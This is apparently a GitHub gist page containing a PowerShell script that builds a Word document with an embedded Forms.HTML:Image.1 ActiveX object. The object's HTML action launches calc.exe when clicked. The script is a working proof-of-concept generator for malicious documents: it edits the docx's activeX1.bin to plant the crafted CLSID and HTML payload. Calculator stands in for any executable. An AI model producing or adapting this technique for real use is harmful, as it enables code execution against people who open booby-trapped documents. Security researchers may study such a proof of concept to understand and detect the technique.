Skip to content

Instantly share code, notes, and snippets.

Last active September 10, 2021 09:48
  • Star 1 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
Star You must be signed in to star a gist
What would you like to do?
PowerShell script that creates a Word document with an embedded Forms.HTML:Image.1 object that when clicked will cause Calculator to be opened. See also:
# target file path
$filename = [Environment]::GetFolderPath('Desktop') + '\Forms.HTML.docx'
$progid = 'Forms.HTML:Image.1'
$clsid = '5512D112-5CC6-11CF-8D67-00AA00BDCE1D'
$html = '<x type="image" src="" action="file:///c|/windows/system32/calc.exe">'
# load assemblies for changing the docx (zip) file
[void] [Reflection.Assembly]::LoadWithPartialName('System.IO.Compression.FileSystem')
[void] [Reflection.Assembly]::LoadWithPartialName('System.IO.Compression')
# create new Word document
$word = New-Object -ComObject Word.Application
$word.Visible = $false
$doc = $word.documents.add()
$shape = $doc.InlineShapes.AddOLEControl($progid)
# save doc & close Word
# create temp folder for modifying the docx
$tmpfolder = "$env:TEMP\" + [System.Guid]::NewGuid()
$null = New-Item -Type directory -Path $tmpfolder
# unzip and replace ActiveX object
[System.IO.Compression.ZipFile]::ExtractToDirectory($filename, $tmpfolder)
Remove-Item "$tmpfolder\word\activeX\activeX1.bin"
$clsid = ([GUID]$clsid).ToByteArray()
$clsid | Set-Content "$tmpfolder\word\activeX\activeX1.bin" -Encoding Byte
$html | Add-Content "$tmpfolder\word\activeX\activeX1.bin" -Encoding Unicode
# rezip
Remove-Item $filename
[System.IO.Compression.ZipFile]::CreateFromDirectory($tmpfolder, $filename)
# cleanup
Remove-Item $tmpfolder -Force -Recurse
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment